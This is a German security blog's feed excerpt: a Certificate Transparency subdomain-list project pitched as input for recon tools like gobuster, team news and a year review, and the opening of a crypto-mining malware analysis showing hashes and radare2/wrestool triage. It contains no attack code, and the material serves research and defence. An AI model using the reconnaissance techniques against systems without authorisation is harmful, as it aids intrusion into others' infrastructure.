    <content type="html"><![CDATA[<p>Wir waren dieses Jahr viel beschäftigt, aber dennoch möchten wir ein kleines Projekt vorstellen, dessen Ideen Sebastian im Urlaub kam: Das Erstellen einer Subdomain-Liste anhand der Certificate Transparency Logs. Die gesammelten Daten teilen wir natürlich mit der Community und bereiten sie automatisch stündlich neu auf.</p>

<!-- more -->


<p><a href="https://www.certificate-transparency.org/">Certificate Transparency</a> ist ein Projekt von Google, dass die Überwachung von ausgestellten SSL/TLS-Zertifikaten übernimmt, um beispielsweise falsch ausgestellte Zertifikate erkennen und widerrufen zu können. Certificate Authorities sind angehalten ihre ausgestellten Zertifikate in den öffentlich zugänglichen Logs zu protokollieren. So findet man zum Beispiel <a href="https://crt.sh/?q=internetwache.org">alle Zertifikate der Internetwache.org</a>.</p>

<p>In diesen Logs befinden sich die Informationen zum gesamten Zertifikat, d.h. auch die Domain, für die es gilt. Seit dem Start von <a href="https://letsencrypt.org/">Let&#8217;s Encrypt</a> können schnell, einfach und kostenlos Zertifikate generiert und eingebunden werden. Allerdings unterstützt Let&#8217;s Encrypt bisher <a href="https://letsencrypt.org/2017/07/06/wildcard-certificates-coming-jan-2018.html">noch keine Wildcards</a> - diese kommen erst im Januar 2018 zum Einsatz. Noch muss bei Let&#8217;s Encrypt also jede Subdomain explizit im Zertifikat genannt sein. Dies wiederum bedeutet, dass Subdomains, dessen Existenz man bisher nicht vermuten konnte (z.B. xyz-asd.domain.tld), nun einfach zu entdecken sind.</p>

<p>Aus Sicht eines Hackers kann das durchaus von Interesse sein. Sebastians Idee bestand darin, mit dem Python-Modul <a href="https://pypi.python.org/pypi/certstream">certstream</a> auf Log-Updates der Certificate Transparency zu horchen, aus den geparsten Zertifikaten die Subdomains zu extrahieren und in eine Datenbank einzupflegen. Um diese Subdomains der Häufigkeit nach zu sortieren, wird außerdem ein Zähler mit gespeichert. Ganz automatisiert werden die Top 100/1000/10,000/100,000 Domains stündlich ins <a href="https://github.com/internetwache/CT_subdomains">GitHub Repository &#8220;CT_Subdomains&#8221;</a> exportiert.</p>

<p>Die Einträge sehen folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># Generated 2017-12-11 11:00:01.087903
</span><span class='line'>count,subdomain
</span><span class='line'>8529329,*
</span><span class='line'>3573653,www
</span><span class='line'>779370,mail
</span><span class='line'>507273,webdisk
</span><span class='line'>497893,webmail
</span><span class='line'>480967,cpanel
</span><span class='line'>178293,autodiscover
</span><span class='line'>21955,dev
</span><span class='line'>19415,blog
</span><span class='line'>18989,m
</span><span class='line'>18518,test
</span><span class='line'>16513,shop
</span><span class='line'>15859,whm
</span><span class='line'>10483,api
</span><span class='line'>10236,admin
</span><span class='line'>9341,com
</span><span class='line'>7521,mdp
</span><span class='line'>7484,staging
</span><span class='line'>7370,cloud
</span><span class='line'>7173,demo
</span><span class='line'>6667,app
</span><span class='line'>6275,tls
</span><span class='line'>6070,eu
</span><span class='line'>5882,mbox12
</span><span class='line'>5223,store</span></code></pre></td></tr></table></div></figure>


<h2><a href="https://github.com/internetwache/CT_subdomains">Link zum GitHub Repository &#8220;CT_subdomains&#8221;</a></h2>

<p>Diese Liste könnte zum Beispiel als Eingabe für DNS-Reconnaissance Tools, wie <a href="https://github.com/OJ/gobuster">gobuster</a> usw. nützlich sein.</p>

<p>Es gab bereits einige Beiträge darüber wie Certificate Transparency Websicherheit gefährden kann, beispielsweise von <a href="https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Hanno-Boeck-Abusing-Certificate-Transparency-Logs.pdf">Hanno Boeck auf der DEF CON 25</a></p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Update zu 2017 - Und wir leben noch!]]></title>
    <link href="https://www.internetwache.org/update-zu-2017-und-wir-leben-noch-08-09-2017/"/>
    <updated>2017-09-08T09:28:00+02:00</updated>
    <id>https://www.internetwache.org/update-zu-2017-und-wir-leben-noch</id>
    <content type="html"><![CDATA[<p>In diesem Blogpost ein kurzes Update zu unserem Projekt und aktuellen Ereignissen rund um unser Projekt.</p>

<!-- more -->


<h2>ZDF WISO</h2>

<p>Wir haben unsere Arbeit in der Sendung WISO im ZDF, ausgestrahlt am 8.Mai, vorgestellt. Darin geht es vorallem um die (Un-)Sicherheit von Wasserkraftwerken in Deutschland, einer <a href="https://www.golem.de/news/gebaeudesteuerung-luxusklinik-vergass-it-im-netz-1702-126362.html">Klinik in der Schweiz</a> und IT-Sicherheit generell:
<a href="https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html">Beitrag ZDF WISO, verfügbar bis 08.05.2018</a></p>

<h2>Besuch im EU Parlament in Brüssel</h2>

<p>Wir wurden im Juni 2017 zu einer Anhörung zum Thema &#8220;IoT Security&#8221; in das EU Parlament nach Brüssel eingeladen. Die Einladung erfolgte nach dem &#8220;Ausbruch von Wannacry&#8221; und hat sich deshalb auch mit der zunehmenden Bedrohung einer vernetzten Welt beschäftigt. Für uns war der Vortrag eine eher ungewöhnliche Rolle, da wir mit Politik bisher meist indirekt (über Medienauftritte) in Kontakt gekommen sind. Uns hat die Diskussion vor Ort und der Austausch mit anderen Interessierten auf dem Gebiet Spaß gemacht und es war spannend auch andere Standpunkte, beispielsweise die der Industrie, nachzuvollziehen. Wer sich für die Debatte interessiert kann einige Informationen in <a href="https://www.janalbrecht.eu/sprachen/en/artikel/2017-06-21-security-in-the-internet-of-things.html">diesem Blogpost vom MEP Jan Philipp Albrecht</a> nachlesen.</p>

<h2>TAZ</h2>

<p>In der Kategorie &#8220;Politik/Netzpolitik&#8221; erschien ein Beitrag mit dem Namen <a href="https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/">&#8220;Gehackte Daten aus dem Bundestag - Im Visier der Cyberkrieger&#8221;</a> zu dem wir unsere Einschätzung abgegeben haben.</p>

<h2>Z2X</h2>

<p>Tim hat Anfang September am <a href="http://z2x.zeit.de/">&#8220;Z2X17&#8221;</a> von Zeit Online teilgenommen. Auf die Veranstaltung ist er bereits im letzten Jahr aufmerksam geworden, da war es allerdings zu spät für eine Anmeldung. Das Ganze hat er allerdings in diesem Jahr nachgeholt und war begeistert vom Z2X. Denn dort kamen 800 Personen im Alter von 20 bis 29 Jahren zusammen und haben darüber diskutiert, wie wir in Zukunft leben möchten. Tim hat ein <a href="https://z2x.zeit.de/event/der-gute-hacker/">&#8220;Frag mich alles&#8221;</a> dort abgehalten, in dem er vor allem über den friedlichen Einsatz von Informatik, Cyberwar, aber auch das Projekt &#8220;Internetwache.org&#8221; gesprochen hat.
Zum Schluss des Z2X wurde unser Projekt &#8220;Internetwache.org&#8221; als <a href="http://www.zeit.de/campus/2017-09/z2x-festival-zehn-beste-projekte">2-Bestes von den 10 Finalisten</a> durch die Besucher gewählt. Das zeigt uns, dass unsere Aktivitäten und verantwortliches Hacken in der heutigen Zeit gebraucht und akzeptiert werden. Wir freuen uns sehr über diese Unterstützung und wollen versuchen, unsere Fortschritte (mit-)zuteilen.</p>

<h2>Sonstiges</h2>

<p>Sebastian hat in der Zwischenzeit seine Bachelorarbeit mit dem Thema <a href="https://arxiv.org/abs/1709.01142">&#8220;Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors&#8221;</a> fertiggestellt und ist die nächsten paar Wochen/Monate im Urlaub, er fährt durch Osteuropa.</p>

<p>Tim schreibt aktuell noch seine Bachelorarbeit im Themenbereich &#8220;Privileged Access Management&#8221; und wird diese voraussichtlich noch in diesem Jahr fertigstellen.
Darüberhinaus wird er demnächst zum <a href="https://www.gi.de/nc/aktuelles/meldungen/detailansicht/article/gesellschaft-fuer-informatik-ernennt-gi-junior-fellows-2017-1.html">Junior-Fellow bei der Gesellschaft für Informatik</a> ernannt und sein zweites Fachbuch (<a href="https://www.amazon.de/WLAN-Hacking-Angriffsmethoden-Schwachstellen-Funknetz/dp/3645605231/ref=asap_bc?ie=UTF8">&#8220;WLAN Hacking&#8221;</a>), welches er zusammen mit <a href="https://twitter.com/Rico_Walde">Rico Walde</a> geschrieben hat, wird veröffentlicht.</p>

<h2>Ausblick</h2>

<p>Wir haben noch einige Sachen für die Zukunft geplant. Vielleicht kommt es dieses Jahr auch noch zu einem Internetwache.org CTF 2017 ;) - also einer Neuauflage des <a href="https://en.internetwache.org/internetwache-ctf-2016-review-01-03-2016/">&#8220;Internetwache CTF von 2016&#8221;</a>.
Außerdem werden wir Ende des Jahres wieder beim #34c3 mit einem Assembly vertreten sein (dieses Jahr in Leipzig) und freuen uns dort einige von euch zu treffen. Außerdem planen wir bereits einiges für 2018 ein, also bleibt gespannt ;)</p>

<p>Wir verbleiben vorerst mit freundlichen Grüßen
Das Team der Internetwache.org</p>

<p>PS: Wir versprechen demnächst auch auf dem Blog mal wieder mehr Informationen zu veröffentlichen, wer darüber hinaus auf dem Laufenden bleiben möchte, kann uns gern auf Twitter folgen: <a href="https://twitter.com/internetwache">@internetwache</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Jahresrückblick auf 2016 / Ausblick 2017]]></title>
    <link href="https://www.internetwache.org/jahresruckblick-auf-2016-slash-ausblick-2017-01-01-2017/"/>
    <updated>2017-01-01T21:27:00+01:00</updated>
    <id>https://www.internetwache.org/jahresruckblick-auf-2016-slash-ausblick-2017</id>
    <content type="html"><![CDATA[<p>Wie auch im letzten Jahr, werden wir in diesem Artikel einen Rückblick in das vergangene Jahr vornehmen und einen Ausblick auf das kommende Jahr wagen.</p>

<!-- more -->


<h2>Community Aktion &amp; CTF</h2>

<p>Wie im <a href="https://www.internetwache.org/ruckblick-auf-2015-04-01-2016/">letzten Jahresrückblick</a> angekündigt, wollten wir uns bei allen Begleitern aus der Community für die bisherige Unterstützung des Projektes Internetwache.org bedanken - aus diesem Grund haben wir an einem Wochenende im Februar ein &#8220;Capture The Flag&#8221; (CTF) veranstaltet. Die Teilnahme war überwältigend! Mit über 1500 registrierten Teams und 650 aktiv teilnehmenden Teams wurden unsere Erwartungen weit übertroffen.
Wer sich genauer für die Statistiken interessiert, dem empfehlen wir einen Blick auf den <a href="https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick-06-03-2016/">damals verfassten Artikel dazu</a>.</p>

<p><a rel="fancybox"href="/images/posts/iwctf16-logo.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-logo.png" alt="Internetwache CTF 2016 logo" title="Internetwache CTF 2016 logo" /></a></p>

<p>Als weitere kleine Community-Aktion haben wir unseren ersten Satz an Stickern erstellt und auf dem <a href="https://events.ccc.de/congress/2016/wiki/Main_Page">33c3</a> (CCC-Congress) verteilt. Unserer Meinung nach sind die Sticker für den ersten Durchlauf ganz gut gelungen. Wenn ihr uns das nächste Mal trefft, dann bekommt ihr bestimmt auch welche.</p>

<p><a rel="fancybox"href="/images/posts/iw-sticker.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iw-sticker.png" alt="Internetwache.org Stickers and Assembly" title="Internetwache.org Stickers" /></a></p>

<h2>Unsere Arbeit</h2>

<p>Bereits im <a href="https://www.internetwache.org/ruckblick-auf-2015-04-01-2016/">Ausblick auf 2016</a> haben wir geschrieben, dass wir uns näher mit Industrial Control Systems (ICS) und SCADA-Systemen beschäftigen wollen. Dieses Vorhaben wurde von uns umgesetzt und es ist uns sogar gelungen die <a href="https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten-16-08-2016/">Steuerung von 3 deutschen Wasserwerken im Internet ausfindig zu machen</a>.
Zudem wurden wir von einer Quelle darauf hingewiesen, dass sich mobile Ampelsysteme über das Internet abrufen und im schlimmsten Fall sogar steuern ließen. Die genannten und einige weitere Funde haben wir an das BSI (Bundesamt für Sicherheit für Informationstechnik) und CERTs weltweit gemeldet, sodass wir gemeinsam mit ihnen, den Herstellern und Betreibern Sicherheitslücken schließen und Netzwerke schützen konnten.
Außerdem haben wir im September eine <a href="https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware-09-09-2016/">Analyse zu einem Kryptotrojaner</a> durchgeführt und ein konkretes Beispiel dazu auf in einem <a href="http://www.golem.de/news/kritische-infrastrukturen-wenn-die-usv-kryptowaehrungen-schuerft-1608-122837.html">Beitrag auf golem.de</a> veröffentlicht.</p>

<p>Grundsätzlich sind wir immernoch im Rahmen von Bug Bounty Programmen aktiv, allerdings nicht mehr so stark wie früher. Uns fehlt schlichtweg die Zeit, da wir noch anderen Dingen nachgehen und zudem muss man offen zugeben, dass es mittlerweile deutlich mehr Security-Researcher gibt, die an Bug Bounty Programmen teilnehmen, als noch vor einiger Zeit. Generell sind wir allerdings immernoch auf Plattformen wie HackerOne oder Bugcrowd aktiv - meist in privaten Programmen.</p>

<h2>Medienberichte</h2>

<p>Sehr erfreulich war zudem, dass die Arbeit von Internetwache.org auch außerhalb der Fachwelt in der Medienberichterstattung zu finden war.
So hat beispielsweise Spiegel sowohl <a href="http://www.spiegel.de/netzwelt/web/deutschland-sicherheitsluecke-wasserwerke-ungeschuetzt-im-internet-a-1103147.html">online</a> als auch im <a href="https://magazin.spiegel.de/SP/2016/29/145848247/index.html">Print</a> über unsere Wasserwerk-Funde berichtet. Zudem ist ein Artikel auf <a href="http://www.zeit.de/digital/internet/2016-07/kritische-infrastrukturen-hacker-wasserwerk-internetwache">zeit.de</a> und <a href="http://www.handelsblatt.com/technik/it-internet/it-schwachstellen-bei-industrieanlagen-angriffsziel-wasserwerk/13883258.html">handelsblatt.de</a> von uns veröffentlicht worden.
Neben diesen Medien verfassen wir seit Beginn des Jahres hin und wieder Artikel für <a href="http://golem.de">golem.de</a>, um über unsere Funde zu berichten.</p>

<p>Neu in 2016 und daher recht ungewöhnlich für uns, war, dass es einige Video-Beiträge über unsere Arbeit gab. So haben wir beispielsweise gemeinsam mit Redakteueren der Deutschen Welle, dem Westdeutschem Rundfunk (WDR), der ARD und SpiegelTV (RTL) an Beiträgen gearbeitet. Um einen kleinen Eindruck davon zu geben, empfehlen wir folgende Videos.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/toxvIza-Too" frameborder="0" allowfullscreen></iframe>




<iframe width="560" height="315" src="https://www.youtube.com/embed/LbR7iV7Mv_0" frameborder="0" allowfullscreen></iframe>


<p><a href="http://www.daserste.de/information/wirtschaft-boerse/plusminus/sendung/hr/cyberangriffe-wasserwerke-energieversorger-100.html">ARD Video</a></p>

<p><a href="http://www1.wdr.de/nachrichten/landespolitik/westpol-it-sicherheitsluecken-100.html">WDR-Beitrag</a></p>

<p>Grundsätzlich möchten wir uns bei allen Journalistinnen und Journalisten für die Berichterstattung und auch teils kritische Anmerkungen zu unserer Arbeit bedanken. Auch zukünftig wird es uns ein Anliegen sein, die Auswirkungen von unsicheren informationstechnischen Systemen auf unsere vernetzte Gesellschaft zu beschreiben und einen Dialog darüber mit der Öffentlichkeit zu führen. Wir nehmen Anfragen, Anregungen und Kritik gern <a href="https://www.internetwache.org/pgp-kontakt/">über Email</a> entgegen.</p>

<h2>Konferenzen</h2>

<p>Im Jahr 2016 waren sowohl Sebastian als auch Tim auf einer Vielzahl von Konferenzen, worüber wir auch in einigen Blogbeiträgen berichtet haben.
Tim war auf dem <a href="https://www.internetwache.org/besuch-auf-dem-security-analyst-summit-number-thesas2016-28-02-2016/">Security Analyst Summit 2016</a> und Sebastian auf der <a href="https://www.internetwache.org/zu-besuch-auf-troopers-2016-04-04-2016/">TROOPERS</a> und der <a href="http://alligatorcon.pl/">Alligatorcon</a>. Außerdem ist es für uns mittlerweile fast &#8220;Tradition&#8221; am Ende des Jahres beim Chaos Computer Club auf dem Kongress (33c3) zu sein - in diesem Jahr sogar mit eigenem Assembly. Aus unserer Sicht bieten Konferenzen eine prima Möglichkeit neue Erfahrungen, Ideen und Ansätze zu sammeln - zudem haben wir immer wieder sehr nette Menschen kennenlernen dürfen. An dieser Stelle wollen wir uns für all die informativen und angenehmen Gespräche bedanken und freuen uns auch diese in Zukunft zu führen.</p>

<h2>2016 in Zahlen</h2>

<p>Nach der erfolgreichen Durchführung unseres CTF-Wettbewerbs im Februar und dem daraus resultierenden Anstieg an Followern, blieb diese Tendenz weiterhin bestehen. Damit können wir uns nun über mehr als 1600 Follower freuen.
Falls noch einige dazu stoßen wollen - das hier ist unserer Account: <a href="https://twitter.com/internetwache">@internetwache</a>.</p>

<p>Der Traffic auf unserem Webblog hat sich im Vergleich zu 2015 verdoppelt. Wir zählen nun etwa 25.000 Besuche mit mehr als 45.000 Seitenansichten. Mit nur 8 neuen Artikel in diesem Jahr können sich diese Zahlen schon sehen lassen. Einen Hinweis dazu haben wir mittelweile im <a href="https://www.internetwache.org/faq/">FAQ</a> vermerkt, trotzdem führen wir das an dieser Stelle noch einmal kurz aus: Grundsätzlich schreiben wir lieber wenige, dafür aber gut durchdachte Artikel - anstatt sehr vielen die nur mittelmäßig sind. Da wir den Blog in Englisch und Deutsch betreiben und es auch weiterhin dabei bleiben soll, fällt pro Artikel fast die doppelte Arbeit an. Zudem gehen wir noch unseren normalen Berufen nach.</p>

<p>Julien ist seit Mitte des Jahres nicht mehr Mitglied im <a href="https://www.internetwache.org/team/">Team von Internetwache.org</a>. Wir danken Julien für seine Mitarbeit und Unterstützung des Projektes und wünschen ihm viel Erfolg! Sehr gern verweisen wir an dieser Stelle auf seinen Security-Blog <a href="http://rcesecurity.com">rcesecurity.com</a> auf dem er seine Erfahrungen und Funde weiterhin teilt. Wir sind sicher, dass wir auch zukünftig noch Kontakt mit ihm haben werden und haben ihm als ehemaliges Mitglied des Teams einen Platz in unserer <a href="https://www.internetwache.org/pgp-kontakt/">Hall of Fame</a> verliehen.</p>

<h2>Persönliche Erfolge</h2>

<p><a href="https://twitter.com/gehaxelt">Sebastian</a> schreibt weiter über persönlichen Research, welcher nicht unbedingt zum Thema Web gehört, auf dem Blog <a href="http://0day.work">0day.work</a>. Im nächsten Jahr wird es dort noch einige weitere Ergebnisse und Blogposts geben. Des Weiteren wurde letztes Jahr häufiger an CTF-Wettbewerben mitgespielt - meistens jedoch als Teil des <a href="https://twitter.com/enoflag">@ENOFLAG</a> Teams. Sehr spannend war dabei das Finale vom <a href="https://www.ructf.org/">RuCTF</a>, welches in Jekaterinburg in Russland stattfand. Gemessen an der Menge des getrunkenen Vodkas ist ein 9. Platz trotzdem vorzeigbar. Die Qualifikation für das nächste Finale wurde mit einem 6. Platz auch zufriedenstellend abgeschlossen.</p>

<p>Ein weiterer Erfolg war die Organisation des Internetwache-CTF 2016. Wie im oben verlinkten Blogpost beschrieben, kam der CTF sehr gut an.</p>

<p><a href="https:///twitter.com/TimPhSchaefers">Tim</a> schreibt seit Beginn 2016 nach Interesse über die Themen Informationssicherheit und Privatsphäre auf dem Web-Portal <a href="http://golem.de">golem.de</a>. Außerdem wurde im April sein erstes IT-Fachbuch zum Thema &#8220;Websicherheit&#8221; veröffentlicht, es trägt den Namen <a href="http://amzn.to/1Z0ipxA">&#8220;Hacking im Web&#8221;</a> und wurde innerhalb von 5 Monaten bereits über 1000-mal verkauft. Zu dem Thema Webhacking betreibt Tim auch einen <a href="https://hacking-im-web.de/blog.html">Blog</a> auf dem demnächst noch weitere Artikel folgen sollen. Neben seinem Studium hat  er zudem eine IHK-Ausbildung erfolgreich abgeschlossen und 3 Monate in Barcelona gelebt. 2017 geht es in die finale Phase des dualen Studiums - außerdem hat er vor den ein oder anderen Blogpost (auf einem eigenem Blog) zu schreiben.</p>

<h2>Ausblick auf 2017</h2>

<p>Die meisten unserer Ziele für 2016 konnten wir erreichen. Wir versuchen hier ein weiteres Mal unsere Arbeit für das nächste Jahr vorauszusagen:
Bisher steht auf unserem Plan, dass wir nächstes Jahr wieder einen Internetwache-CTF organisieren. Ideen dazu werden schon fleißig gesammelt, nur muss zur Umsetzung noch die nötige Zeit gefunden werden.
Außerdem haben wir noch vor einige Nachforschungen im Bereich IT-Sicherheit anzustellen, aber dazu wollen wir noch nicht zu viel verraten.
Die Medienarbeit macht uns generell Spaß und wir werden es uns weiterhin zur Aufgabe machen zu Fragen der Informations- und IT-Sicherheit in der Öffentlichkeit zu sprechen.</p>

<p>Wir werden von uns hören lassen - mit Sicherheit ;)</p>

<p>Sebastian Neef &amp; Tim Philipp Schäfers</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Analyse zum Vorgehen einer Kryptomining-Malware]]></title>
    <link href="https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware-09-09-2016/"/>
    <updated>2016-09-09T21:11:00+02:00</updated>
    <id>https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware</id>
    <content type="html"><![CDATA[<p>Vor einiger Zeit haben wir etwas Nachforschungen im Bereich Industrial Control Systems (ICS) betrieben - dabei sind wir auf manchen Systemen auch auf eine Datei mit dem Namen &#8220;photo.scr&#8221; gestoßen. Unsere Erkenntnisse dazu wollen wir in diesem Blogpost teilen - damit Dritte verstehen können, wie die gefundene Malware funktioniert und wie man sich am besten vor ihr schützen kann.</p>

<!-- more -->


<p>Zunächst wussten wir nicht genau, was es mit der &#8220;photo.scr&#8221; auf sich hatte. Da die Datei sich auf einigen Systemen allerdings in jedem Ordner finden ließ und sich zudem bei Betrachten von HTML-Dateien (den Hilfedateien einer ICS-Software) einen Autodownload dieser Datei startete, entschlossen wir uns die auffällige Datei etwas genauer zu untersuchen. Wie sich später zeigte gehört die Datei zu einem Kryptomining-Botnet - über das bereits andere Sicherheitsunternehmen berichtet hatten.</p>

<p>Einige Erkenntnisse haben wir bereits in einem Artikel auf golem.de vorgestellt: <a href="http://www.golem.de/news/kritische-infrastrukturen-wenn-die-usv-kryptowaehrungen-schuerft-1608-122837.html">Kritische Infrastrukturen: Wenn die USV Kryptowährungen schürft</a></p>

<p>Für die Analyse nutzten wir unter anderem den Dienst <a href="http://malwr.com/">malwr.com</a>. Wir luden dort mehrere Samples hoch und entdeckten auch bereits hochgeladene Versionen dieser Software. Soweit wir das beurteilen können, funktionierten alle Samples nach demselben Prinzip. Wir fokussierten uns insbesondere auf <a href="https://malwr.com/analysis/Y2MxZDhjZmNiMDMzNDhlYjkxODcwYjY0NTBkMTYzNDM/">dieses Sample</a> - da wir es auf einem ICS gefunden und anschließend näher untersucht haben.</p>

<h2>Analyse</h2>

<p>Die Datei ist 1578496 Bytes (~1.6 MB) groß und wird als <code>PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows</code> erkannt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
</span><span class='line'>
</span><span class='line'>$&gt; du -sb 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>1578496 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin</span></code></pre></td></tr></table></div></figure>


<p>Hashsummen des Sampels</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>aba2d86ed17f587eb6d57e6c75f64f05  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin
</span><span class='line'>
</span><span class='line'>$&gt; sha1sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>aeccba64f4dd19033ac2226b4445faac05c88b76  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin
</span><span class='line'>
</span><span class='line'>$&gt; sha256sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin</span></code></pre></td></tr></table></div></figure>


<p>Wie wir wissen, sollte man nicht das <a href="https://lcamtuf.blogspot.de/2014/10/psa-dont-run-strings-on-untrusted-files.html">Kommando &#8220;strings&#8221; auf unbekannten Dateien ausführen</a>, deswegen nutzten wir die hilfreichen Features von <a href="http://radare.org/r/">Radare2</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; r2  file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>&gt; iS
</span><span class='line'>[Sections]
</span><span class='line'>[...]sz=79872 vsz=79824 perm=m-r-x name=.text
</span><span class='line'>[...]sz=1536 vsz=1124 perm=m-rw- name=.data
</span><span class='line'>[...]sz=10752 vsz=10260 perm=m-r-- name=.rdata
</span><span class='line'>[...]sz=1024 vsz=1016 perm=m-r-- name=.eh_fra
</span><span class='line'>[...]sz=0 vsz=19276 perm=m-rw- name=.bss
</span><span class='line'>[...]sz=3584 vsz=3480 perm=m-rw- name=.idata
</span><span class='line'>[...]sz=512 vsz=28 perm=m-rw- name=.CRT
</span><span class='line'>[...]sz=512 vsz=32 perm=m-rw- name=.tls
</span><span class='line'>[...]sz=1479680 vsz=1479216 perm=m-rw- name=.rsrc
</span><span class='line'>
</span><span class='line'>9 sections</span></code></pre></td></tr></table></div></figure>


<p>Wie man sieht, ist die <code>.rsrc</code> Ressource-Section, mit ungefähr 1.4 MB von insgesamt 1.6 MB, am Größten. Es lohnt sich also einen Blick dahineinzuwerfen. Dazu kann man das praktische Tool <a href="http://linux.die.net/man/1/wrestool">wrestool</a> nutzen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; mkdir wrestool && cd wrestool/
</span><span class='line'>$&gt; wrestool -a -R -x -o ./ ../807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin  
</span><span class='line'>$&gt; ls
</span><span class='line'>insgesamt 1,5M
</span><span class='line'>[...] 4,0K  3. Sep 14:59 .
</span><span class='line'>[...] 4,0K 22. Aug 00:46 ..
</span><span class='line'>[...] 1,4M  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1
</span><span class='line'>[...]  146  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_14_ICON1.ico
</span><span class='line'>[...] 1,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_1
</span><span class='line'>[...] 1,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_10
</span><span class='line'>[...]  744  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_2
</span><span class='line'>[...]  296  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_3
</span><span class='line'>[...] 3,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_4
